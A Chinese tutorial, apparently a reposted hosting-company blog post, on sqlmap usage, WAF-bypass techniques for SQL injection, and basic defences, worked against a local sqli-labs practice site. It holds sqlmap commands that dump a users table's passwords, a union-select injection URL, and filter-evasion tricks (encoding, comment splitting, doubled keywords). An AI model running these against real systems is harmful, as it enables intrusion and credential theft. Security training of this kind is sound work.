欧美一区二区三区老妇人-欧美做爰猛烈大尺度电-99久久夜色精品国产亚洲a-亚洲福利视频一区二区

如何分析SQLMap和SQLi注入防御

今天就跟大家聊聊有關(guān)如何分析SQLMap和SQLi注入防御,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。

目前創(chuàng)新互聯(lián)已為1000多家的企業(yè)提供了網(wǎng)站建設(shè)、域名、虛擬主機(jī)網(wǎng)站托管運(yùn)營(yíng)、企業(yè)網(wǎng)站設(shè)計(jì)、灤州網(wǎng)站維護(hù)等服務(wù),公司將堅(jiān)持客戶導(dǎo)向、應(yīng)用為本的策略,正道將秉承"和諧、參與、激情"的文化,與客戶和合作伙伴齊心協(xié)力一起成長(zhǎng),共同發(fā)展。

第一部分:Sqlmap使用

1.1 sqlmap介紹

1. 前邊說了一些sql注入的基礎(chǔ)語句,但是手工注入很麻煩,我們可以借助sqlmap這個(gè)強(qiáng)大的sql注入工具,進(jìn)行數(shù)據(jù)的獲取.

2. sqlmap介紹

(1)#sqlmap是一種開源的滲透測(cè)試工具,可以自動(dòng)檢測(cè)和利用SQL注入漏洞以及
接入該數(shù)據(jù)庫(kù)的服務(wù)器。它擁有非常強(qiáng)大的檢測(cè)引擎、具有多種特性的滲透測(cè)試器、通過數(shù)據(jù)庫(kù)指紋提取訪問底層文件系統(tǒng)并通過外帶連接執(zhí)行命令。

官方網(wǎng)站: sqlmap.org 

如何分析SQLMap和SQLi注入防御

(2)#支持的數(shù)據(jù)庫(kù):
MySQL,Oracle, PostgreSQL, Microsoft SQL Server, Microsoft
Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

(3)#支持多種注入方式

#UNION query SQL injection(可聯(lián)合查詢注入)
#Error-based SQL injection(報(bào)錯(cuò)型注入)
#Boolean-based blind SQL injection(布爾型注入)
#Time-based blind SQL injection(基于時(shí)間延遲注入)
#Stacked queries SQL injection(可多語句查詢注入)

1.2 sqlmap安裝和環(huán)境搭建

1.sqlmap安裝主要步驟

   (1)安裝python環(huán)境--->sqlmap需要python環(huán)境

     python下載地址: https://www.python.org/downloads/release/python-2715/)

如何分析SQLMap和SQLi注入防御

   sqlmap跟Python2.X版本兼容比較好.(python的安裝步驟直接下一步即可,需要修改的就是sqlmap的安裝路徑,這里改成了C:\Users\Administrator\python,為了直接命令行可以進(jìn)入sqlmap目錄更方便操作)

   (2)Python安裝不要安裝到中文路徑下,并把Python添加到環(huán)境變量中.

   如何分析SQLMap和SQLi注入防御

如何分析SQLMap和SQLi注入防御

  (3)下載并安裝sqlmap,修改安裝目錄為C:\Users\Administrator\sqlmap

   (4)測(cè)試python環(huán)境:  進(jìn)入cmd命令行,輸入python,如下提示則安裝成功

   C:\Users\Administrator>python
   Python 2.7.16(v2.7.16:413a49145e, Mar  4 2019, 01:37:19) [MSC v.1500 64 bit (AMD64)] on win32
   Type "help", "copyright", "credits" or "license" for more information.

    >>> exit();   

   (5)sqlmap測(cè)試:  進(jìn)入cmd命令行,輸入sqlmap.py  -h (注意路徑)

  C:\Users\Administrator\sqlmap>sqlmap.py  -h  #查看幫助信息

如何分析SQLMap和SQLi注入防御

1.3 sqlmap常用參數(shù)

#(1)獲取庫(kù)名,列名,權(quán)限

  • --dbs   #獲取所有數(shù)據(jù)庫(kù)

  • --dbms   mysql  #指定數(shù)據(jù)庫(kù)類型

  • --users   #所有數(shù)據(jù)庫(kù)用戶(數(shù)據(jù)庫(kù)本地用戶名)

  • --passwords  #獲取數(shù)據(jù)庫(kù)密碼,(有權(quán)限才能讀取)

  • --technique  #指定使用哪種注入類型

  • --current-db #當(dāng)前數(shù)據(jù)庫(kù)

  • --banner       #獲取數(shù)據(jù)庫(kù)標(biāo)識(shí)

  • -D database_name --tables    #-D用于指定數(shù)據(jù),--tables獲取某個(gè)庫(kù)下的表

  • -D database_name -T table_name --columns #-T指定表名,--columns獲取列字段

  • -D database_name -T table_name -C column_1,column_2 --dump
                    #-C指定字段名,--dump顯示結(jié)果

  • --users   #列數(shù)據(jù)庫(kù)管理用戶,當(dāng)前用戶有權(quán)限讀取包含所有用戶的表的權(quán)限時(shí),就可以列出所有管理用戶。

  • --current-user  #在大多數(shù)據(jù)庫(kù)中可以獲取到管理數(shù)據(jù)的用戶。

  • --is-dba       #判斷當(dāng)前的用戶是否為管理,是的話會(huì)返回True。

  • --privileges   #當(dāng)前用戶有權(quán)限讀取包含所有用戶的表的權(quán)限時(shí),很可能列舉出每個(gè)用戶的權(quán)限,sqlmap將會(huì)告訴你哪個(gè)是數(shù)據(jù)庫(kù)的超級(jí)管理員。也可以用-U參  數(shù)指定你想看那個(gè)用戶的權(quán)限。

  • --proxy   #指定一個(gè)代理服務(wù)器 eg: –proxy http://local:8080

#(2)指定前后綴:

  • #sqlmap不能探測(cè)很多的干擾字符,閉合時(shí)可以手工指定前綴和后綴

  • select * from users where id=((('1'))) and 1=1

  • #--prefix=PREFIX 注入payload字符串前綴

  • #–suffix=SUFFIX  注入payload字符串后綴
    eg:sqlmap -u “www.target.com/index.php?id=1” -p id --prefix “'))”
    --suffix “AND ('1'='1”

#(3)導(dǎo)出結(jié)果:

  • sqlmap -u “www.a.com/1.php?id=1” --file-write=”d:/1.txt”

  • --file-dest=”E:/wwwroot/web/one.php“

  • --batch 全自動(dòng)

  • --start=開始條數(shù) --stop=結(jié)束條數(shù)

  • --dump 導(dǎo)出數(shù)據(jù)

  • --dump-all 導(dǎo)出所有數(shù)據(jù)

  • --purge-output/ --purge  清空緩存目錄

  • --sql-shell 反彈sqlshell,類似于sql查詢分析器  默認(rèn)路徑.sqlmap (點(diǎn)sqlmap)

1.4 sqlmap實(shí)戰(zhàn)舉例

#Less-1--Less65通用語句(這幾句是最常用的幾個(gè)參數(shù),必會(huì)型)

#(1)獲取所有庫(kù)名
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --dbs --dbms=mysql --batch

#解析:

-u 后加url,表示測(cè)試的url

--dbs表示獲取所有數(shù)據(jù)庫(kù)

--dbms表示指定數(shù)據(jù)庫(kù)類型為mysql

--batch表示自動(dòng)獲取

-D  security --tables 表示獲取指定數(shù)據(jù)庫(kù)為security 的表名

-D  security -T  users --columns 表示獲取指定數(shù)據(jù)庫(kù)為security里users表中的列名

-D security -T users -C username,password --dump  #獲取security庫(kù),users表中username和password字段的數(shù)據(jù)信息,--dump表示顯示結(jié)果

#結(jié)果:
[*] challenges
[*] dvwa
[*] information_schema
[*] mysql
[*] owasp
[*] performance_schema
[*] security
[*] test

#(2)獲取當(dāng)前庫(kù)名
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --current-db --batch
#結(jié)果:
current database:    'security'

#(3)獲取當(dāng)前表名
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security --tables --batch

#結(jié)果:
Database: security
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+


#(4)獲取當(dāng)前列名
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users --columns  --batch

#結(jié)果:
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(3)      |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+

#(5)獲取users表中username和password內(nèi)容
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users -C username,password --dump  --batch

#結(jié)果:
Database: security
Table: users
[13 entries]
+----------+------------+
| username | password   |
+----------+------------+
| Dumb     | Dumb       |
| Angelina | I-kill-you |
| Dummy    | p@ssword   |
| secure   | crappy     |
| stupid   | stupidity  |
| superman | genious    |
| batman   | mob!le     |
| admin    | admin      |
| admin1   | admin1     |
| admin2   | admin2     |
| admin3   | admin3     |
| dhakkan  | dumbo      |
| admin4   | admin4     |
+----------+------------+

第二部分:sqli注入之waf繞過

2.1 SQL注入之waf繞過方法介紹

說明:這里僅舉例說明繞過方式,實(shí)際場(chǎng)景則更加復(fù)雜. 多種繞過方式可以混合使用,還可以進(jìn)行編碼.

1.前邊知道了sql注入的方式后,如何才能防止sql注入呢?

  • #(1)過濾注釋符

  • #(2)過濾and或or

  • #(3)過濾select或union

  • #(4)過濾黑名單

2.過濾了and/or繞過方式有哪些?

  • #(1)mysql中大小寫不敏感,都可以正確執(zhí)行;===>使用大小寫變形

  • #(2)mysql支持十六進(jìn)制,用16進(jìn)制或用URL編碼;

  • #(3)用符號(hào)替換單詞   ===>符號(hào)繞過 and(&&)  or(||)

  • #(4)內(nèi)聯(lián)注釋和多行注釋===>在敏感詞匯中添加注釋a/**/nd   雙寫繞過oORr

3.當(dāng)然還有其他方法,我們以這幾種過濾方式為例,來說說如何繞過.

   真實(shí)場(chǎng)景中有waf設(shè)備,waf其實(shí)也是通過過濾一些關(guān)鍵字來防止sql注入的.

2.2 sql注入之繞過waf實(shí)驗(yàn)

1.過濾了注釋符(Less-23為例)

#(1)過濾注釋符的原因:對(duì)于正常的SQL語句中,注釋符起到說明作用的功能。但是對(duì)于在利用SQL注入漏洞過程中,注釋符起到閉合 單引號(hào)、多單引號(hào)、雙引號(hào)、單括號(hào)、多括號(hào)的功能。
單行注釋:  --+ 或 --空格  或 #
多行注釋: /* 多行注釋內(nèi)容 */

#(2)過濾函數(shù)preg_replace
preg_replace(mixed $pattern , mixed $replacement , mixed $subject):執(zhí)行一個(gè)正則表達(dá)式的搜索和替換。
$pattern: 要搜索的模式,可以是字符串或一個(gè)字符串?dāng)?shù)組
$replacement: 用于替換的字符串或字符串?dāng)?shù)組。
$subject: 要搜索替換的目標(biāo)字符串或字符串?dāng)?shù)組。

如何分析SQLMap和SQLi注入防御

#(3)繞過注釋符:
利用注釋符過濾不能成功閉合單引號(hào)等,換一種思路 利用 or '1'='1閉合單引號(hào)等。
http://127.0.0.1/sqli/Less-23/?id=-1%27%20union%20select%201,database(),%273

如何分析SQLMap和SQLi注入防御

2.過濾了and或or應(yīng)該如何繞過?(Less-25為例)

(1)源碼分析:可以看到把or或and替換為了空

如何分析SQLMap和SQLi注入防御

(2)操作步驟

如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御

3.過濾了空格應(yīng)該如何繞過?(Less-26為例)

(1)用%0a來充當(dāng)空格

如何分析SQLMap和SQLi注入防御

4.過濾了select/union該如何繞過?(Less-27為例)

如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御

如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御

第三部分:sqli注入防御

3.1 sql注入防御方法

1.常用防護(hù)措施:

#(1)、關(guān)閉錯(cuò)誤提示: PHP配置文件php.ini中的display_errors=Off
#(2)、魔術(shù)引號(hào)(與addslashes的效果相同):當(dāng)php.ini里的magic_quotes_gpc=On時(shí)。提交的變量中所有的單引號(hào)(’)、雙引號(hào)(”)、反斜線(\)與 NUL(NULL 字符)會(huì)自動(dòng)轉(zhuǎn)為含有反斜線的轉(zhuǎn)義字符
#(3)、對(duì)數(shù)據(jù)進(jìn)行過濾:比如過濾掉and/or/union等常用關(guān)鍵詞
#(4)、控制連接數(shù)據(jù)庫(kù)的用戶權(quán)限:每個(gè)庫(kù)針對(duì)單個(gè)庫(kù)設(shè)置一個(gè)管理員,不要用root權(quán)限.
#(5)、預(yù)處理和參數(shù)化(PDO):處理用戶傳入的參數(shù),返回布爾值,不是單純的對(duì)數(shù)據(jù)進(jìn)行"拼接",從而避免sql注入.
#(6)、硬件防護(hù)措施(WAF等硬件)

看完上述內(nèi)容,你們對(duì)如何分析SQLMap和SQLi注入防御有進(jìn)一步的了解嗎?如果還想了解更多知識(shí)或者相關(guān)內(nèi)容,請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝大家的支持。

文章標(biāo)題:如何分析SQLMap和SQLi注入防御
文章URL:http://chinadenli.net/article28/ppjcjp.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站營(yíng)銷ChatGPT、移動(dòng)網(wǎng)站建設(shè)小程序開發(fā)、網(wǎng)站策劃服務(wù)器托管

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

網(wǎng)站托管運(yùn)營(yíng)